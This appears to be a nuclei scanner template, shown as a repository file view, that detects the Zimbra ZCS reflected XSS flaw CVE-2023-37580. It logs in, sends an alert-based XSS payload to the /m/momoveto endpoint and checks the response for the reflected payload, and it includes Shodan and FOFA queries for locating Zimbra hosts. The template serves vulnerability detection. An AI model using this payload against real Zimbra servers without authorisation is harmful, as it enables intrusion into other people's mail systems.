nuclei-templates/http/cves/2023/CVE-2023-37580.yaml

52 lines
1.4 KiB
YAML
Raw Normal View History

id: CVE-2023-37580
info:
name: Zimbra Collaboration Suite (ZCS) v.8.8.15 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Zimbra Collaboration (ZCS) 8 before 8.8.15 Patch 41 allows XSS in the Zimbra Classic Web Client.
reference:
- https://github.com/Zimbra/zm-web-client/pull/827
- https://blog.zimbra.com/2023/07/security-update-for-zimbra-collaboration-suite-version-8-8-15/
- https://nvd.nist.gov/vuln/detail/CVE-2023-37580
classification:
cve-id: CVE-2023-37580
metadata:
max-request: 1
shodan-query: http.favicon.hash:475145467
fofa-query: icon_hash="475145467"
tags: cve,cve2023,zimbra,xss,authenticated
http:
- raw:
- |
POST /zimbra/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
loginOp=login&username={{username}}&password={{password}}&client=mobile
- |
2023-08-01 05:58:24 +00:00
GET /m/momoveto?st="><img%20src=x%20onerror=alert(document.domain)> HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body_2
words:
2023-08-01 05:58:24 +00:00
- '<img src=x onerror=alert(document.domain)>'
- 'id="zMoveForm"'
condition: and
- type: word
part: header_2
words:
- text/html
- type: status
status:
- 200